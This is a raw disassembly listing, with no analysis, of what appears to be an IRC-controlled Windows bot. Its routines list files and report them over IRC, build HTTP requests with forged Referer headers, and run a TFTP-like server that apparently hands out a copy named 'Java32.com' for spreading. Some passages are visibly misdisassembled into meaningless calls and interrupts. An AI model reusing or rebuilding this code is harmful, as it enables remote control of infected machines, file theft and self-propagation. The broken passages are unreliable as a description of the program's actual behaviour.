		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40675B
; ---------------------------------------------------------------------------


loc_406756:				; CODE XREF: seg000:0040674Dj
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40675B:				; CODE XREF: seg000:00406754j
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8
		lea	eax, [ebp-48h]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_406923
; ---------------------------------------------------------------------------


loc_4067A0:				; CODE XREF: seg000:004066B9j
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp-490h]
		push	106h
		push	eax
		call	sub_415A4A
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-490h]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_4067CD:				; CODE XREF: seg000:0040680Aj
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 24h
		jmp	loc_406932
; ---------------------------------------------------------------------------


loc_4067E2:				; CODE XREF: seg000:00406663j
		inc	dword ptr [ebp-4]
		cmp	[ebp+10h], ebx
		jz	short loc_40680C
		push	ebx
		push	dword ptr [ebp-368h]
		call	sub_40C1FC
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-35Ch]
		push	eax
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_4067CD
; ---------------------------------------------------------------------------


loc_40680C:				; CODE XREF: seg000:004067E8j
		cmp	[ebp+14h], ebx
		jz	loc_40690C
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8
		lea	eax, [ebp-35Ch]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+14h]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8
		lea	eax, [ebp-35Ch]
		push	eax
		call	sub_415CD0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp-35Ch]
		push	eax
		jbe	short loc_4068AC
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068B1
; ---------------------------------------------------------------------------


loc_4068AC:				; CODE XREF: seg000:004068A3j
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4068B1:				; CODE XREF: seg000:004068AAj
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8
		mov	eax, [ebp-368h]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-48h]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		jmp	short loc_406932
; ---------------------------------------------------------------------------


loc_40690C:				; CODE XREF: seg000:0040680Fj
		push	dword ptr [ebp-368h]
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_406923:				; CODE XREF: seg000:0040679Bj
		lea	eax, [ebp-248h]
		push	eax
		call	sub_415A4A
		add	esp, 18h


loc_406932:				; CODE XREF: seg000:004066B1j
					; seg000:004067DDj ...
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8
		cmp	[ebp+10h], ebx
		jz	short loc_406961
		push	7D0h
		call	ds:dword_421060


loc_406961:				; CODE XREF: seg000:004065BAj
					; seg000:004065D5j ...
		lea	eax, [ebp-388h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4210A4
		test	eax, eax
		jnz	loc_4065B4


loc_406979:				; CODE XREF: seg000:004065A9j
		push	dword ptr [ebp+8]
		call	near ptr 53BF07CDh
		dec	esi
		cmp	[ebp+10h], ebx
		jz	short loc_4069BC
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_40C1FC
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp-4]
		cdq
		push	edx
		push	eax
		call	sub_40C1FC
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4154CD
		add	esp, 14h
		jmp	short loc_4069F0
; ---------------------------------------------------------------------------


loc_4069BC:				; CODE XREF: seg000:00406985j
		cmp	[ebp+14h], ebx
		jz	short loc_4069D6
		lea	eax, [ebp-248h]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	short loc_4069F0
; ---------------------------------------------------------------------------


loc_4069D6:				; CODE XREF: seg000:004069BFj
		push	dword ptr [ebp-8]
		lea	eax, [ebp-248h]
		push	dword ptr [ebp-4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4154CD
		add	esp, 10h


loc_4069F0:				; CODE XREF: seg000:004069BAj
					; seg000:004069D4j
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3B8
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A16	proc near		; CODE XREF: seg000:0040609Dp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_421078
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406ACE
		push	esi
		push	ebx
		call	near ptr 0AF8D4D68h
		inc	eax
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406AC7


loc_406A5B:				; CODE XREF: sub_406A16+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A78
		mov	edi, [ebp+arg_4]


loc_406A78:				; CODE XREF: sub_406A16+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4210AC
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_421068
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AC2
		call	ds:dword_43A2FC
		cmp	eax, 2733h
		jnz	short loc_406AC7
		xor	eax, eax


loc_406AC2:				; CODE XREF: sub_406A16+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A5B


loc_406AC7:				; CODE XREF: sub_406A16+43j
					; sub_406A16+A8j
		push	ebx
		call	ds:dword_42106C


loc_406ACE:				; CODE XREF: sub_406A16+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A16	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		mov	edi, [esp+0Ch]
		xor	esi, esi
		push	edi
		call	sub_415CD0
		test	eax, eax
		pop	ecx
		jbe	short loc_406AFC


loc_406AE6:				; CODE XREF: seg000:00406AFAj
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AF0
		mov	byte ptr [esi+edi], 2Fh


loc_406AF0:				; CODE XREF: seg000:00406AEAj
		push	edi
		inc	esi
		call	sub_415CD0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406AE6


loc_406AFC:				; CODE XREF: seg000:00406AE4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B01	proc near		; CODE XREF: seg000:0040F90Ep

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_43A2E0
		push	6
		push	1
		push	2
		call	ds:dword_43A3E8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	ds:dword_43A368
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A03F
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A310
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BDE
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B7A
		mov	eax, offset byte_438F8C


loc_406B7A:				; CODE XREF: sub_406B01+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	ds:dword_43A3B8
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A380
		pop	esi


loc_406BDE:				; CODE XREF: sub_406B01+6Bj
		push	ebx
		call	ds:dword_43A400
		call	ds:dword_43A2C8
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4154CD
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C1E
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_406C1E:				; CODE XREF: sub_406B01+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406B01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C22	proc near		; CODE XREF: sub_406C22:loc_40710Dp
					; DATA XREF: seg000:00407361o

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	ds:dword_43A3E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406CE5
		push	190h
		call	ds:dword_421060
		call	ds:dword_43A2FC
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_427284
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CC5
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412D32
		add	esp, 14h


loc_406CC5:				; CODE XREF: sub_406C22+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B151
		push	[ebp+var_170]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0E677E07Bh
		insb


loc_406CE5:				; CODE XREF: sub_406C22+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	ds:dword_43F504[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	ds:dword_43A368
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	ds:dword_43A394
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D4A
		push	1388h
		call	ds:dword_421060
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_40710D
; ---------------------------------------------------------------------------


loc_406D4A:				; CODE XREF: sub_406C22+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415BC8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DC8
		push	190h
		call	ds:dword_421060
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_427234
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412D32
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B151
		push	[ebp+var_170]
		call	sub_415295
		add	esp, 28h
		push	ebx
		call	near ptr 0A8666AC1h
		cmc


loc_406DC8:				; CODE XREF: sub_406C22+140j
		mov	esi, 200h


loc_406DCD:				; CODE XREF: sub_406C22+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070CD
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_43A350
		test	eax, eax
		jle	loc_4070C1
		mov	al, ds:byte_438F8C
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	ds:dword_43A340
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4154CD
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070AB
		cmp	[ebp+var_D7], 1
		jnz	loc_406FF7
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415CD0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_416EB0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FB1
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_416EB0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FB1
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_416E1E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_416B90
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	ds:dword_43A3CC
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset unk_4271E0


loc_406F65:				; CODE XREF: sub_406C22+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4154CD
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F9F
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412D32
		add	esp, 14h


loc_406F9F:				; CODE XREF: sub_406C22+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B151
		pop	ecx
		jmp	loc_4070C1
; ---------------------------------------------------------------------------


loc_406FB1:				; CODE XREF: sub_406C22+2B6j
					; sub_406C22+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_4271CC
		push	edi
		call	ds:dword_43A3CC
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_427190
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40B151
		add	esp, 14h
		jmp	loc_4070C1
; ---------------------------------------------------------------------------


loc_406FF7:				; CODE XREF: sub_406C22+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070AB
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_407034
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_407042
; ---------------------------------------------------------------------------


loc_407034:				; CODE XREF: sub_406C22+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_407042:				; CODE XREF: sub_406C22+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_416E1E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_416B90
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]


loc_40707C:				; DATA XREF: seg002:00424DA8o
					; seg002:00424DBCo ...
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	ds:dword_43A3CC
		cmp	edi, ebx
		jnz	short loc_4070C1
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_427140
		jmp	loc_406F65
; ---------------------------------------------------------------------------


loc_4070AB:				; CODE XREF: sub_406C22+268j
					; sub_406C22+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_427134
		push	edi
		call	ds:dword_43A3CC


loc_4070C1:				; CODE XREF: sub_406C22+204j
					; sub_406C22+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DCD


loc_4070CD:				; CODE XREF: sub_406C22+1B4j
		push	edi
		call	ds:dword_43A400
		push	[ebp+var_8]
		call	sub_415B20
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short near ptr loc_407100+1
		push	[ebp+var_170]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 6B758D6Dh


loc_407100:				; CODE XREF: sub_406C22+4CAj
		int	68h		;  - APPC/PC
		call	near ptr 0FF40710Ah
		adc	eax, offset dword_421060
		push	esi


loc_40710D:				; CODE XREF: sub_406C22+123j
		call	sub_406C22
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407119	proc near		; CODE XREF: seg000:004125D4p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4276A4
		push	eax
		xor	ebx, ebx
		call	sub_4154CD
		cmp	ds:dword_427300, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_407187
		push	esi
		mov	esi, offset dword_427308


loc_40714C:				; CODE XREF: sub_407119+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416EF0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40714C
		pop	esi


loc_407187:				; CODE XREF: sub_407119+2Bj
		push	ds:dword_4687E8
		call	sub_40A996
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416EF0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B151
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_407119	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071E3	proc near		; CODE XREF: seg000:00411F41p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jle	short loc_40721F
		mov	eax, [ebp+arg_C]
		push	ds:dword_438FB8[eax*8]
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_427710
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		jmp	short loc_407232
; ---------------------------------------------------------------------------


loc_40721F:				; CODE XREF: sub_4071E3+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4276DC
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_407232:				; CODE XREF: sub_4071E3+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B151
		add	esp, 18h
		leave
		retn
sub_4071E3	endp

; ---------------------------------------------------------------------------


loc_40725A:				; CODE XREF: seg000:004079D2p
		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+138h]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075EA
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	ds:dword_42730C[eax], ebx
		jz	loc_4074CB
		push	4
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jnz	loc_4075EA
		mov	eax, ds:dword_42C150
		push	edi
		mov	edi, offset dword_439934
		push	104h
		push	edi
		push	ebx
		mov	ds:dword_439B44, eax
		mov	ds:dword_439B40, ebx
		call	near ptr 0AB3E6359h
		mov	ebp, [eax+3]
		add	[eax], eax
		add	ds:byte_439A38[esi], bh
		push	offset aJava32_com ; "Java32.com"
		push	esi
		call	sub_416D20
		mov	eax, [ebp+118h]
		add	esp, 0Ch
		cmp	[ebp+98h], bl
		mov	ds:dword_439930, eax
		mov	eax, [ebp+140h]
		push	7Fh
		mov	ds:dword_439BC8, eax
		jnz	short loc_40730D
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_439B48
		call	sub_416D20
		add	esp, 0Ch
		mov	ds:dword_439BCC, 1
		jmp	short loc_407327
; ---------------------------------------------------------------------------


loc_40730D:				; CODE XREF: seg000:004072EEj
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_439B48
		call	sub_416D20
		add	esp, 0Ch
		mov	ds:dword_439BCC, ebx


loc_407327:				; CODE XREF: seg000:0040730Bj
		push	esi
		push	edi
		push	ds:dword_439B44
		lea	eax, [ebp-204h]
		push	offset unk_4278BC
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-204h]
		push	4
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	ds:dword_439B3C, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_439930
		push	offset sub_406C22
		push	ebx
		push	ebx
		call	near ptr 450B6418h
		push	eax
		mov	ecx, ds:dword_439B3C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_407396


loc_407384:				; CODE XREF: seg000:00407394j
		cmp	ds:dword_439BD0, ebx
		jnz	short loc_4073B1
		push	32h
		call	ds:dword_421060
		jmp	short loc_407384
; ---------------------------------------------------------------------------


loc_407396:				; CODE XREF: seg000:00407382j
		call	ds:dword_421088
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_427874
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_4073B1:				; CODE XREF: seg000:0040738Aj
		lea	eax, [ebp-204h]
		push	eax
		call	sub_40B151
		mov	edi, offset dword_439F8C
		mov	dword ptr [esp], 104h
		push	edi
		push	ebx
		mov	ds:dword_43A198, ebx
		call	near ptr 9834AAD9h
		mov	al, ds:10368h
		add	ds:byte_43A090[esi], bh
		push	offset aJava32_com ; "Java32.com"
		push	esi
		call	sub_416D20
		mov	eax, [ebp+118h]
		add	esp, 0Ch
		cmp	[ebp+98h], bl
		mov	ds:dword_439F88, eax
		mov	eax, [ebp+140h]
		push	7Fh
		mov	ds:dword_43A220, eax
		jnz	short loc_40742C
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_43A1A0
